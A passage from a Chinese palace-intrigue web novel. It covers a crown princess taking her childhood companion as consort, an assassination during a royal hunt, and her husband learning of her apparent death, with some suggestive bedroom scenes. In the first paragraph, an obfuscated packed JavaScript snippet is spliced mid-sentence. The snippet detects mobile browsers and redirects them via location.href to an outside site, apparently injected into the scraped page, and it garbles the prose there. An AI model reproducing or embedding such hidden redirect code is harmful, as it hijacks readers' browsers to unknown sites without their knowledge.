“孤当然明白。孤是在想师兄今日所为——”江瞻云背过身去,重新眺望天际,“确实一心为孤。你主张惩罚掀翻驸马席案的人,是恐他们中有人会有两王之人,将事传出离间孤与驸马,你在替孤周全;提出延 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068590|179249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓迁他们入明光殿,是在帮孤给驸马台阶,向他示弱求和。后头呢,可是还要孤快马传信,请他回来?” 温颐颔首应是,“殿下位尊,臣可代笔传信,请驸马回朝。或者,臣走一趟青州也无妨。” “东宫文武无数,自有为殿下分析利弊者。但有些话,诸人不敢言,不好言。臣荣幸,一为太子少师之孙,又有与您一同长大的情分,所以斗胆来言。” 殿外日头正烈,室内寒气正浓。 江瞻云安静立在窗下,一时没再接话,负在背后的手拎着小檀扇,闲闲晃荡。日光穿窗破雾拢住她,檀扇隐在雾气中,只余光下暗影。人似一把即将出鞘的剑,明耀又森冷。 待庐江带回青州将领,待三司审过,除去贪官,震慑宗亲,她便算坐稳了储君位。至于薛壑,合则为夫妻相敬如宾,分则做君臣各司其职,都好。 “殿下!请传书允驸马回京,后再迁内侍入东宫。”温颐不明其想,亦不知其中政务,只当她依旧为颜面而不肯让步,遂垂首叩拜,再度陈词上谏。 “师兄心意,孤心领了。”江瞻云话语落下,人已经至温颐身前,伸手于他,是个虚扶的姿势。 温颐从命,伏跪换成跽坐,却是眉间忧色重。 但见江瞻云俯身与他对面而坐,中无隔案,极近的位置,周遭冰雾冷寒,唯剩彼此气息温热。 “驸马若回来,孤不会逐他。但他不回,孤也断不会主动请他。”她伸手触在少年眉宇,一点点抚平他眉间褶皱,“如同今日事,即便内侍是故意的,孤也不会罚。孤就要在此时,将他们接入明光殿。不仅如此——” 江瞻云抬手从发髻拨下那枚金簪,送与少年面前,“孤还要师兄入我东宫。” 温颐猛一抬头,眼中顿时愧意难言,唇口张合间眼尾已泛红,垂眸不敢看她,“我、还未同祖父直言……” 储君已有驸马,旁人再与之青梅竹马也不过同后廷内侍一般。南阳温氏,世代簪缨,百年清流,还不如正常迎娶贵女。 温松执掌温氏,自是这般想。 “不必你言语,孤今日已经同老师挑明。”江瞻云将金簪放入他掌心,“此番夏苗结束,你便入明光殿。” 温颐望着她笑意明媚的面庞,有些回过味来。 掀翻驸马席案的内侍无论是否为二王的人,储君不罚、随之任之便只有一个指向,当下朝中的两大事宜即将得到解决,她基本控制了朝局。留着这处是还击驸马新婚弃走,落她颜面之举。 而她在这个档口纳他入东宫表面看来同不罚内侍乃一个意思,但其实是在给他身为辅臣之一的祖父提醒,亦是警告:储君已长成,政从己出,望他们识相。 一箭三雕! 自立储君,八年来东宫被护得铁桶般,密不透风。少女竟长得这样快,走得这样快。 偏他看得这般明白,却又无从抗拒这诱惑。 她是龙首原上高升的红日,在还是公主时,便已令他心动情起。 他凝看金簪,簪身雕的是他最爱的鹤,刻的是“修毓”二字。 “上月事多,分身乏术,错过了你的冠礼。但及冠加字,孤承诺你的就不会忘记。”江瞻云拿起金簪,示意人上前,帮他簪上,“‘修、毓’二字皆有保养之意,与颐同义。愿师兄保养德行,毓出灵秀。” 她的目光在簪上流连,欣赏自己的绘画技艺,挑眉与他祝福。 掌心残留女郎指甲划过的轻微触感,耳鬓是她衣袖拂过的淡淡香气,温颐对上她眼眸,微微垂首,“臣甘为殿下手中棋。” “天家难有真心,难尽全意,我视师兄是棋亦是情。” 上君者坦荡得过分。 然少年却只道,“臣有比做殿下师兄更亲近的身份了,殿下为何还唤师兄?” 铜漏滴答,少年储君抬眸观过,笑意浅浅道,“午歇的时辰了,你侍奉孤吧,修毓。” 4. 第004章 大魏既出过两任女君,很多规矩自然也已设立形成。 女子为帝同男子为帝最大的区别就在于子嗣的繁衍。十月怀胎到底需要从女子腹中出来,生产从来都是鬼门关。 是故,于侍寝之上,首先定下了规矩。 女君可以根据自己身体状况和当下时局选择适当的时候,择人交合,传承血脉。其他时候,凡侍寝者,入寝宫前都会被赐一碗药。 温颐这日随江瞻云入内寝,行至寝殿廊下自觉顿住脚步。但江瞻云没有停下,也没发话,直接带他入了殿内。 纵是心仪多年,又长她两岁,但这等事到底还是第一次,他多少有些紧张。 确切来说是第二次。 第一次是在三年前,江瞻云及笄宴上。彼时两人都不清醒,江瞻云饮了御赐的暖情酒,他则将寻常清酒多饮了两杯。 明光殿中云雨翻覆、金钩刺蕊,就要激浪冲天之际,浑噩中的女郎原本迷离的眼神一下聚出神采,似刀刃寒芒扼住少年,“你用药没有?” 焚身烈火难退,少年动作未止,还当是帐中把戏,欲中情话。待下一刻喉结被钳住,呼吸窒闷,竟是碎喉之险凌身,方在瞬间清醒,冷汗浇灭热火,纳纳摇首,“不、不曾。” “那一会记得抽身。”少女眉目柔和了些,钳在脖颈的两指松开,捏他耳垂,抚他后脑,好心抚慰。 灰烬重燃,他再不敢忘情。在欢愉冲达九天碧霄时主动截断,折翅从云端跌落、急雨洒在天地间。 床榻狼藉,忧欢交加不及思考,先听到了她的话语,“师兄既来我床帏间,你的步兵校尉一职便算到头了。” 温门在文烈女帝时期,先祖温如吟便任职太常,执掌抱素楼,择选天下学子为朝野添砖增瓦。是故后代子孙都在其位,阖族乃世代从文的清流门楣。 直到当今天子四征匈奴,举国尚武,温氏子弟中方有少部分人也担起武官职。温颐更在文章外精通骑射,是同辈子弟中的翘楚,家中也一直将他往武职上培养。 温颐十四岁时在秋狝中射金雕夺魁,被天子授予六百石北军中侯,以监五营。官阶不高,却是天子近臣,实打实的权利。在任三年,政绩斐然,一路高升至一千两百石步兵校尉。 然凡入大魏女君后廷者,参政论文不论武,任职从文不从戎。 “凡事总有代价,臣修书著学,一样为殿下效力。”温颐恭谨道。 “既如此,孤先调你去任中军校尉祭酒,任职上林苑。祭酒乃八百石文职,委屈你了。但眼下孤应了父皇,内侍暂不纳入明光殿。”江瞻云噙着笑懒洋洋倚靠在榻上,拉来正给她收拾身子的人,“这般调你过去,像是犯错被贬一般。你父亲一贯严苛,你找个时辰把他唤来,孤与他细说。” 寻常高门朱户中及笄之年的女郎,大多于闺房之内捧卷阅书,持针刺绣;大门之外偶尔小聚,赏花踏青。娇俏花样的年华,念的是离愁别绪,思的是姻缘郎君。 江瞻云也这般年纪,但已经做了五年储君。往来都是未央宫前殿,宣政殿书房,听的是朝政思的是朝局。人在何处浸染,便生何种气息。 龙首原上东升的太阳,在黑夜也开始发光,逼人不敢直视。 温颐谦顺坐在榻畔,微微抬眼看她,又很快垂下眼睑,“臣确实犯错,醉酒冒犯殿下。然臣尚是一介七尺男儿,这等事还是容臣自个同父亲说吧。” 可惜天不遂人愿,江瞻云调令还未下达,温颐还来不及同父亲提起这事,其父便因病去世。如此,温颐三年重孝在身,这事便搁置今岁。 今岁二月,他丁忧结束,江瞻云的调令便到了;五月,他二十加冠,家中为他择妻,他未应;六月,他清醒地踏入了她寝殿,便是此时此刻。 少年储君,应他之事,一一兑现。 “发什么呆?” 江瞻云初回长扬宫已经沐浴过,这会只需盥洗。宫人捧盘持巾入殿。司寝从来好眼色,见儿郎入内寝,早早退身静候,不再插手盥洗事宜。 “没有,臣只是欢喜殿下赐字。”温颐从回忆中出来,随口寻了个理由。 “修毓”二字极好,他自然开怀。只是此刻更让他心潮彭拜的是另一桩事,江瞻云没有赐药给他。 那、是不是意味…… 意味他们会有子嗣? 她愿意诞下他的血脉? 她有内侍无数,亦有大婚盛迎的驸马,但到底还是择了他。 “殿下,今日且罢了吧。”他的声音极低,但因距离近,足矣让江瞻云听清,“申时您还要主持夏苗,这会还是歇息为好。” 话语半真半假,是他仅剩的矜持与全部的疼惜。 周遭奴仆环侍,却一点声响都没有。 半晌,才闻江瞻云“噗嗤”笑出声来,“让你侍奉孤盥洗,你想什么呢?青天白日!” 温颐愣了下,闻言余光扫过两侧宫人,面上一阵红白交错,笑意里难免尴尬。 “劳殿下伸手。”须臾,他触上女郎襟口,为她脱袍解衽,敷面浣足。 之后又有宫人引他至净室,侍奉他沐浴盥洗。相比侍寝少了很多事宜,前后不到两刻钟。但他回来内寝时,江瞻云已经睡着了,呼吸酣沉。 当是累了。 确实很累,自夏苗半个多月来,江瞻云主持祭祀、设宴四州校尉、代帝阅军一些列活动,长杨宫行书馆、龙首船思醒台灯火昼夜不息,群臣出入不绝,她每日不过两三个时辰就寝。 这般恬静睡颜,他已许久不见,她也当许久不得。 温颐没有躺下,不舍扰她片刻安眠。唯手不受控制想要抚她面庞,替她拢一拢蓬松的鬓发。是个极轻的动作,指腹才接触到她的发丝,还未贴面贴肤触碰,人便已经醒了过来。 女郎眉间有一闪而过的肃杀,很快被糯糯笑意取代,“师兄!”她瓮声瓮气唤他,往里让过半个身子,又唤“修毓”。 “抱歉,吵到你了。”温颐上榻侧躺在她身边,心跳得厉害,举止有些拘束。 江瞻云却不觉有他,抱过少年一条臂膀做枕,埋头肩上重新合了眼。 少年男女同榻,又是彼此有情,终难克制。 房中到底叫了水,但储君无需用,乃温颐在净手,洗一只指腹又白又皱的手。 净手毕,他看着指腹发了会呆。闻滴漏声响,还有小半时辰就是申时,便未再回榻,只拿出随身带的兰田山地貌图,正欲重新翻阅,最后检阅一遍。却见大长秋缓步而来,道是“内侍陪寝,若无殿下特别交代,寻常夜不得过一个时辰,日不得过半个时辰”。话落请他离开入偏殿歇息。 偏殿放着储君稍后要穿戴的头面袍服。 “殿下行猎时,发梳中分作低髻,以骨簪固定,舍步摇而择华胜,弃耳坠而带耳铛;袍服以骑衣为主,也可着裙裳,裙裳中曲裾广袖拖拽不便,故择直裾优先……”大长秋话语缓缓,“殿下起居穿戴自有六局司事服侍,但内侍也需了解熟悉,随时准备亲侍殿下。这些本该在公子被殿下择入内廷时,便由各司事交代教导。但公子此番来得突然,臣便择今日所需简单嘱咐。来日会让六司将相关卷宗奉给公子读阅,您有不懂之处,可随时传唤她们。” 女子入宫廷,确有宫中姑姑一一教导,以侍君王。 如今换了女主天下,儿郎侍主,原也是一样的。 “那……”温颐看了眼殿门边的滴漏,“那有劳姑姑教臣挽发,还有些时辰,臣当能学会的。” “婢子方才说了,今日您来得突然,殿下不会让你上手。只是婢子因职责所在,需告知您侍主的事宜。”大长秋笑道,“这会公子若无事,可以看看婢子择出的部分卷宗。” “多谢姑姑思虑周全。” 屋中人退去,温颐环视四周,缓了片刻方坐下来翻卷读阅。 一样的青竹简,不一样的字眼。 他平素读书一目十行,博闻强识,但今日观这上头字文, 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温颐从司制手中接了骑衣,走近一步低声道,“狩猎年年有,殿下想要一年两回都行。这回……要不算了。” 江瞻云抬眸看他,“你今日眉宇就没彻底展开过,到底怎么了?” “旁的不说,边军回京受阅,四州校尉自然参加行猎,琅琊、阴平二王的世子带领各自属官也在参加之列。而您身边,一直担任卫尉职的庐江长公主离京办差,臣暂领此职,虽熟悉地界,但终究不比长公主,心中多有彷徨。最主要的是——” 温颐顿了顿道,“驸马也不再您身边。” “这类似的话阿烨也同孤说过,知你们好心。但是从外围的五营校尉到中围两处的羽林卫、虎贲军,再到内围的三千卫都是追随父皇数十年的亲信。至于驸马不在——”江瞻云凑到温颐耳畔,呼气如兰,“不是还有修毓吗?” 温颐系衽的手顿住,抬首撞上女郎秋水盈澈的眼眸,“这个自然,臣定会护好殿下。” “走吧。”她理了理衣衫,将前头温颐沐浴后留在这处的簪子给他簪上,欲携他同往。 “等等,殿下,还有项圈未带。” “项圈?”江瞻云长眉蹙起,“那个玉铃铛项圈吗?今日不穿裙装,骑衣不搭项圈。孤不要!” “殿下,您不惩罚内侍,不召回驸马,这些都罢了。但嵌七宝玉珏是益州薛氏的信物,是尚主护国的象征。今日群臣当前,边将皆在,宗亲齐聚,您得戴。”” 温颐跪下身去,“玉珏保平安,且当是为臣,让臣图个心安,成吗?” “孤错了,就不该调你任中军祭酒,合该谴你去御史台当御史。”江瞻云剜他一眼,“起来,孤戴还不行吗?” “快去取。”温颐展颜起身,催促司制。 司制来去很快,不过一炷香的功夫便捧来了项圈。 江瞻云正伏案看温颐的地貌图,头也未抬,由着他近身给她佩戴摆弄。余光瞄见正中三个玉铃铛,忽想起项圈初成、薛壑见到的场景。 “好看吗?”那是午后歇晌的时辰,她手中拎着项圈,一只脚抬起,足腕间叮当作响,毫无仪态地歪在矮榻上,“还有条小的。” “……不好看。”年轻的御史中丞面色铁青,“但玉给了殿下,自由殿下做主,臣的感官不重要。” “对,你不重要。” “臣告退。” 女郎挑眉,少年拂袖。 他又生气了,留她一个背影。 她对着远去的背影发笑,气跑了好,随在身侧,句句谏言,处处约束。 项圈佩戴好,江瞻云垂眸看胸前白雪莹莹的一方玉,伸手拨转上头垂挂的三个玉铃挡。其实这件饰物搭配她四海锦一类的裙裳还是很适宜的,就非要制成个玉圭玉琮玉如意那类只能放着积灰、藏着不见天日的死物吗? 无趣死板,同人一样。 江瞻云这会嫌弃地看了眼项圈,伸出一根指头用力戳过铃铛,出殿上马前往兰田山主持夏苗。 5. 第005章 江瞻云座下马乃天马雪鸿,曾是她母亲坐骑,马背似龙脊,风啼入云轻。她一身马术亦是生母所教,不会走路就先上了马背,骑射练至今日比之战场骑兵不遑多让。 此刻万柳萋萋,风浮翠浪,少女纵马直道,率众卷平岗。如羽人驭龙,出入云巅。直到挂有“柳庄亭”三字的六角亭门出现,方勒缰呵马停下。 “殿下!”温颐落后她两个马身,追上来时气息微喘,却是眉目舒展。 “这会放心了?”江瞻云仰头饮了半囊水,将剩下的扔给他。 温颐接过,笑着点了点头。 今日狩猎,江瞻云在昭德台临时改了规矩。 令四州校尉一组,二王世子一组,她领人一组,射得豹狮者为胜。 又因柳庄亭入门便是围网,北去无路,身后则是他们来时路,如此南北向自然不会有花豹和洞狮,只有东西丛林可藏野兽。是故三组只能入围两组,分东西道各自狩猎。 这样安排,既全了储君行猎与臣民同乐的传承,又避开了同道同行后发生冷箭的万一状况。 “可惜阿烨没来,他骑射也不错,去岁秋狝一箭横贯羚羊耳!”江瞻云抬眸看天上掠过的雄鹰,赞道,“他今岁才十三,比孤还小五岁”。 “四州校尉中青州军亦在,他们是武安侯嫡系,如今多事之秋,小侯爷自然避着他们。”温颐叹道,“臣上月及冠给他递了帖子,他也未来,深居简出。” “武安侯已薨,即便青州军真有些什么,阿烨是阿烨,边军是边军,孤与父皇也不会难为他。” “武安侯一脉仅剩了他一个男丁,阖府就靠他一人顶着。他想做个闲散权贵,维护至亲平安,趁早同青州军切割也未尝不是一种生存的法子。” “闲散权贵!”江瞻云咀嚼着这几个字。 她被催着长大,思维也比旁人快些。很清楚来日上位,重新复起的女君前路定然不畅,所以已经开始培养新血液。 薛壑、温颐、庐江、包括明烨……都是她一眼想要用的人。 “人各有志,来日方长。” 闻马蹄渐近,举目眺望,乃四州校尉策马而来,二王世子弓马之上到底不及边军。 “殿下疾风快马,吾等劳殿下久候,实在汗颜。”四州校尉打马上前,拱手见礼。 “孤率众所骑皆是天马,原就占了优势。”江瞻云笑道,“眼下东西两路,诸位远道而来,便由尔等先选。” “殿下是君,我等是臣,君上臣下,自当由殿下先选。” “所谓宾主之谊,理当先宾后主。” “殿下宽怀已极,臣等惶恐,还是殿下先请。” “殿下——”眼看两厢客套推让,温颐忍不住低声提醒,“安全为上,还是您先选。” 江瞻云瞥过他,对着四州校尉道,“既如此,孤居东宫,且选东路丛林。” “好,臣等西去。”诸将施礼拜别。 两队人马皆是骑射好手,各自绝尘而去。 上道东路丛林,莫说江瞻云,就连一贯温文的温颐也放松不少。毕竟这处已经清道,亭门也已封口,往来皆是三千卫。至于花豹和洞狮,他早已安排妥当,东路上是花豹,西路是洞狮,如此平衡两队人马。一路过来,江瞻云已经射得羚羊狐狸、白鹄苍鹰无数,这会入柳庄亭后心思都在狮豹身上。 少女目光如炬,负箭矢,扬马鞭,速度时快时慢,观察周遭风吹草动。两刻钟后,根据第一遍巡视的足印、断草等线索,六十“三千卫”平分三队,其中两队分左右两路以捕网式寻找狮豹,寻到则发信号示警,同时赶送至储君所在的中路上。 人手散开,剩余兵甲默契簇近储君,温颐更是如影随形。 日头西沉,光芒不再如火明耀。无风的柳树层中,绿波叠涌,兽形现踪。 四下人静,眼看翠林从中一抹棕黄越来越清晰。西方天际大片大片的云霞染着夕阳最后的光,同豹纹连成一色。花豹露出一眼、前足、半身……由南至北缓缓走出,似从天上来。 江瞻云面西逆光,夕阳直射在她眼中,她尚需时机。于是抬手命温颐后退让道,拍了拍雪鸿脑袋示意它往北移位。神驹灵性,行动迅捷却落蹄无声。待到一处有光却不刺目,女郎又一拉缰绳,彻底止歇坐骑,从后背取箭搭弓。温颐这日代替驸马位,身兼卫尉职,迅速上前同储君并肩,护在她右手边。 身后训练有素的三千卫也早已御马禁声,在储君移动的同时变换队形。首领携副将二人在女郎身后半丈作盾,手势传令,以储君为圆心,以半丈为径按扇形往右侧北向变换阵行。如此可堵花豹去路,可护储君安危。 马上少女全神贯注盯在花豹琥珀色右眼上,臂膀肌肉注力,手背筋脉凸显,已是拉弓如满月,下一步便是箭去如流星。 然她尚未放箭却闻身后一声马嘶,乃首领后面的一位副将中箭倒地。 “有刺客,保护殿下。” 一瞬间,原本往北移位还不曾全部落定的队形迅速倒回,急速往东归拢,抵御东边突如其来的刺杀。亦是在这一刻,北方空出的口子里丛林中放出第二支冷箭,直射储君。 声东击西! 所幸右侧温颐反应快,闻“有刺客”时便直接扑向江瞻将她护在身下。于是这第二支暗箭从他背上擦过,挑破他盔甲。南侧是草地斜坡,温颐抱着她本能地滚出数丈远,却丝毫不敢停下,爬起拉着她一直往南疾奔。南地每隔十丈为平地,之后就会遇见下一个斜坡,如此经四个斜坡之后,再往下便是泾河。 “东边、北边都有刺客,各去三人查寻。”首领一边发信号召人护驾,一边厉声下令,“剩余人随我保护殿下。” 温颐带着江瞻云直奔逃过三个斜坡,在最后一方平地力竭倒下。若说奔行距离算上斜坡不过两里远,若说时辰亦因斜坡之故,更不到半刻钟。对于习武的温颐而言根本不会力竭,他之所以在这一刻倒下,实乃箭上有毒。 江瞻云将他从地上抱入怀中,环顾四下除了滑下来的坡壁算块掩体,东西两处不是平野便是丛林,若遇刺客便活脱脱一块靶子,于是将人拖至斜坡边紧挨坡壁躲避。温颐虽尚有意识,但已唇瓣发黑,四肢无力,后背伤口鲜血泛乌。 “不知刺客有几人,不能这般干等。殿下将臣衣衫脱下,我们换……”温颐明显也发现了东西两处的危机,刺客能出现在禁军层层防卫下的柳庄亭中,那么这处也随时可能出现,遂撑着一口气催促,“换了……臣现身,无人最好,若有人,臣引开他们后殿下自己隐蔽,等三千卫……” 三千卫当看见他们逃奔方向,两里路很快就会到,只需争得这片刻功夫就好。 “快啊!”温颐抓着她的手,望向最后一个斜坡,“如果……最下策,殿下跳入泾河,泾河下游首个出口在镐赢县,那处也有我们的人……” 江瞻云看他又看周遭地貌,终于触上他衣襟,却在这一瞬滞了动作。 她的余光瞥到西边柳树林中有黑影奔跃如兔朝她冲来,几个点跃间搭箭引弓,一入射程范围则脚落地,手松箭,箭离弦,一气呵成。 是守株待兔的架势,一击即杀的利落。 脖颈上的项圈在方才的撞击中就已现出裂纹,一个铃铛落掉落下去,碎成两半。 夕阳晚风里,少年储君的瞳孔骤缩又放大,柳庄亭万千翠柳凋零色泽,枯黄叶落,她的眼中唯剩一个夺命的箭心逼近自己。 季夏的太阳落下去,萧条秋日来临。 “射中了!” “好!” “中了!” “中了!” 三箭连发,前头两箭接连命中靶心,最后一箭入两箭之间,射穿靶子直入靶子后面的一块石头中。 烟尘四起,石生裂缝,箭难拔出。 又准又狠。 青州城郊马场上,一众将士正在比赛骑射。 将将三支箭,正是驸马薛壑射出。 屯于这处的五千兵甲乃是三月里从京畿随薛壑一道遣调过来增援青州军的。他们中很多人虽知晓这位驸马出身将门,但对他最大的印象还是御史台上朱袍法冠的文官模样,以至于当日增援而来时心中多疑,直到其布局谴将,亲作先锋突袭,一战击退高句丽解青州之危,军心才定下来。 战胜之后,薛壑又常一人纵马射猎,锻炼身心。将士们仰其风采,遂有了今日之赛事。 果然,是天上玄鹰,草原骐骥。 “秋日时节,已生寒意。都去沐浴更衣,别染风寒。” 两个时辰的赛事,十里亭比马,一线天夺兵,半里坡组队,最后归来比射箭,酣畅淋漓之际亦是大汗淋漓。 薛壑念及将士们都是长安子弟,恐他们不服气候,好心提醒让其归队。诸人谢过,各自策马离去,有些与他走得稍近的,还不忘再约下回。 薛壑笑着送别他们,不拒不应。 只待人陆续离开,方回不远处一间陋室擦身换衣。再出来时,已是窄袖直裾,系衽封腰。虽不是武官装扮,但比之御史台的广袖朱袍,也是利落许多。 “其实京畿风水把你养得不错,数年未见,愈发俊朗了。”说话的是他小叔父薛允,方才赛箭时,有侍从来禀,他便见得草庐畔一人正烹茶以候。 “不知小叔父今日前来所为何事?”薛壑将马牵至一旁喂食,没有入座饮茶。 “你不知?”薛允闻言都懒得和他周旋,开门见山道,“你该回京了,这里不是你该待的地方。” “怎不是我待的地方?家族有训,守君护国,我在此正是护国安民。” 薛壑将草料喂入马口中,轻抚马头,“再者,我乃奉陛下旨意离京来此。” “陛下给的旨意是让你援兵青州城,给你驻守的旨意了吗?”薛允沏茶毕,分了一盏至对案空座上。 薛壑闻言,给马顺毛的手僵了僵,转头继续喂食。 “退一步说,你如今暂居刺史府,官位不明,同城西驻守的青州军两厢尴尬。你想想,若是陛下真要你长留此地,怎会在你击退敌军后,毫无声响。”薛允起身端过茶盏,送来侄子身边,“还有,你今岁二十加冠,陛下可是赐你‘御河’二字为表字?” “你莫与我说,你不知此二字为何意!”薛允将茶递上去。 薛壑低垂的视线里,看见碧色茶汤中映出半张面庞。 长安风水是养人,养得他肌润面白,金尊玉贵,眉目都少了张扬肆意,多出算计圆滑。 他当然知道“御河”之意。 “壑”字本义“山谷”,取此字为名原是双亲盼子心胸似山谷深广。 然及冠之时,天子亲自设宴赐字,道是,“‘壑’字引申为“沟”,沟中盈水便是护城之河。护皇城之河 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“不说了,都过去了。”薛壑不愿想这遭,然却回神惊起,“小叔父如何知晓我与殿下之事的?”” “你说呢?”薛允挑眉。 少年眉间拧得更深,半晌道,“……是陛下告知的?那阿翁也知晓了,阿翁身子可有恙?” “这会急了?”薛允晲他一眼,“说到底,陛下也是良苦用心,定是一味撮合你俩没撤了,所以选了反其道而行的法子。让你来此镀层金,让殿下看见你发光的另一面,如此盼着你们生出些好感!结果你却久不回朝,陛下恐以圣旨压你适得其反,便只好纡尊降贵请你父亲劝导,我们这才知道你和殿下的具体情况。” 薛允瞧着愧色渐生的少年,缓了缓压声道,“当今储君到底是个女子,前路艰难。陛下多病,龙体不安,今日不知明日事。你阿翁今岁开春也是旧疾复发,这厢勉强撑着身子入京参加你的婚宴,如今知晓了你们的事……” “如何?阿翁现在身子如何?我离京时,他身子有所好转的。”薛壑未再说下去,但凡阿翁身子康健,这会来的就不是小叔父了。 “左右就是那副样子。”薛允叹道,“不说为了陛下,更不说为了你阿翁,生老病死是常态,不该以此捆绑你。但是,有些东西却没法解绑。譬如我薛氏同天家的因缘,从百年前开始,凡出女君,薛氏必尚主。薛氏子是大魏女君的最后一道防线,是她们的护身符,这是祖训,亦是你的宿命。” “我的宿命?” 薛壑嘴角扯出一点自嘲的笑意,侧身看那盏即将散尽热气的茶。 薛允将茶盏推上些,触上他没再收回的手,“总而言之,你要谨记,你我家族再位高权重,终究是人臣。为人臣子,侍奉君主,就没有不委屈的! 薛壑指腹贴上盏壁。 “再退一步说,你对殿下就一点感觉都没有?”薛允见侄子神色松动,拍过他肩膀,从义论到情,“少年男女,五年相处,若说半分情意也无,那该是随之任之习惯之,怎就能被气得跑到这千里之外来?值得你这般模样?” “我……” “别你啊你的,就趁现在好好想想,殿下就没有半点好处?你当真就没有动过心?” “想!” 薛壑想不出,他很少看她面容,见她最多的是隔着帘子的身影轮廓。 最近的一次见她自然是新婚夜。 新婚夜,薛壑想起那副足链,脸色又难看起来。 “想高兴的!”薛允不愧是花中高手,精准掐脉。 薛壑更想不出了。 但概因将将想起新婚夜洞房中事,于是让他想起某个飘雪的冬日午后,从帘帐中伸出的一只脚,脚腕间带着一副玉石足链,周围挂了一圈细小的玉铃铛。 “不要赤足,天寒。”他站在帘幔外,本想说这句话的,可不知怎么话到嘴边就成了,“不好看。” 【不好看。但玉给了殿下,自有殿下做主,臣的感官不重要。】 【对,你不重要。】 他们就这样又吵了起来。 “想到什么了?”薛允笑问。 薛壑深吸了口气,竟觉画面绮丽。一时扭头不看对面人。 对面他的小叔父,生得一双桃花眼,红颜无数,是益州闻名遐迩的纨绔,无情都能被他扯作深情。 益州的纨绔细瞧少年眉眼,视线落在长案茶盏上,“喝茶!” 薛壑愣了下,垂眸发现不知何时杯盏已被握在手中。他顿了片刻,终是端了起来,“我稍后与方刺史交接军务,最迟后日归去。” “就这对了,你和殿下的路还长着呢,做夫妻,做君臣,边学边扶持。”薛允不负所托。 薛壑轻叹一声,仰头饮尽茶水。 “驸马,长安来人了。”片刻的展颜中,平地风起,携卷黄沙无数。侍从上气不接下气奔来传话,“京畿悲讯……” “悲讯?”薛壑叔侄二人皆诧异回首,目光越过侍从看见他身后随着一个浑身缟素的士兵。 “你为何人戴孝,是……” 是我父亲还是陛下? 薛壑没敢宣之于口。 却听那人道,“六月廿三,皇太女于上林苑夏苗途中遇刺薨逝,请驸马速回京畿治丧。” ——本卷完 6. 第006章 那是承华三十三年的孟秋,夏日暑热退去不似往年缠绵,还要稀稀落落地再热上几回,等着一场秋雨一场寒。 这一年,长安直接进入了肃杀的寒天。 漫天落叶,满城缟素。 薛壑领兵赶到京畿时,江瞻云已经尸骨不全。明光殿西首配殿宣清苑内设着她的衣冠冢,彼时还不曾封棺下葬,天子旨意让他见她最后一面。 薛壑便看见棺椁之中,金玉珠宝铺叠,华光耀眼璀璨,放置了一身她最爱的“登高明望四海锦”袍服。只是平铺的裙裳中间微微隆起。 他上前掀开,看见一条皮肉破损、白骨森森的手臂。 亦是这条手臂,确定了储君之死。 按照三千卫首领的话术,当日发生刺杀,即刻发令给羽林、虎贲二军封锁了上林苑。他们赶到南地斜坡下面的时候,只看见了中毒昏迷的温颐。救回他后余者按照血迹继续寻找江瞻云。 一共两处方向:一处是坡底小径走四里可通向东大道,但路极其窄,不容双足并立,基本掉落下去直接入水,除非入水后再爬起。但因小径残留血迹,三千卫自然不会放过。第二处就是泾河下游,这是江瞻云最有可能出现的地方,落水后被水流冲出来。但搜救一昼夜无果。 翌日晚间温颐醒来,却也说不出有价值的线索,因为他在见江瞻云中箭的一瞬急火攻心昏死过去,后事不知。 之后数日,禁军除了派水兵轮番潜入泾河通向下游镐赢县的这段水域进行搜查,后还延至金彪县、陵阳县……直至江县,泾水汇入渭河,还是毫无踪影。 与此同时,上林苑被翻了个天,但就是没有江瞻云踪迹。 随着时间的流逝,储君生还的希望愈发渺茫,所有人心中都慢慢生出一个可怕的猜测。 这个猜测在第七日得到验证。 六月三十中午,扩大范围寻查的禁军在积香寺后山的潏河下游发现了一条手臂。 手臂显然被泡发过,难以辨认。但经过三司处数位仵作查验,还是发现了几处线索。 首先根据残损的皮肉和现出的白骨,可以断定被猛兽啃食过;其次观其骨骼和半个手掌可确定是个女子,且虎口有薄茧,当是常日练武之故。三来断臂上还缠着半截破烂袖角。袖角被送去六局司制处检查,辨出纹样乃“紫气东来”,布料属于沙縠,其上针脚出自司制座下绣工令。 储君是个弓马娴熟、常日练武的女子,确实手有薄茧;储君当日所穿便是紫气东来纹样的皂绪沙縠襌骑衣。 由此基本断定,江瞻云从柳庄亭斜坡跳下,未曾落入泾河,而是沿着坡底小道边躲边走,想回东道大路寻求救援,却不料途遇猛兽……三司最后是这样归总的,却也不是无稽之谈。 毕竟当时储君遇刺发生的实在太突然,天子又在数十里外的皇城中,一时群龙无首。虽禁军封锁上林苑,但有许多细节并没有及时做到位,譬如将放出来的猛兽及时关起,将未曾出兽苑的猛兽着重看管。 第一日的时候,所有人都在追凶手,找储君,遗漏太多。直到第二日才出具体防卫和寻查的方案,却不想储君没有丧生刺客手中,却做了野兽的口中食,被吞得只剩一条手臂沉于河中。而橘河流经上林苑,下游出口就是积香寺后山。 证据凿凿,环环可扣,天子终于接受事实,宣布储君薨逝的消息。 前十年捧于手心的明珠,后八年精心培育的储君,就这般死在双九年华。天子哀痛难抑,下召以断臂葬入炎陵,设衣冠冢于明光殿。 天家皇室所居之处,设立坟冢,多有冲撞。御史台理该劝谏,但当下时局,无人敢触碰龙鳞。即便是身为御史中丞、备受恩宠的驸马,这厢都未曾多言。 薛壑无言,不是因为怕不怕,是他有那么一刻失去了思考的能力。 他触碰过那截腐烂的断臂,嗅过上头腥臭的气息,目光所及是白骨边上的半个玉铃挡,耳畔声声都是天子和他说的话。 天子说,“当日七七主持夏苗,着骑衣,佩此项圈并不协调,但还是佩身示于众臣前。她骄纵不假,却也识礼。事后只寻得这么半个。朕私心想着,你们夫妻一场,让此铃铛伴于她身侧,且当是你还在她身边,时时教诲,岁岁相陪。” 于是,他便有些恍惚。 那个极重保养、连根头发丝都要以玉石粉熏透保持光泽的少女如何会身体腐烂? 那个受尽天子宠爱,连熏香都被恩赐可使用龙涎香的公主怎会散发异味? 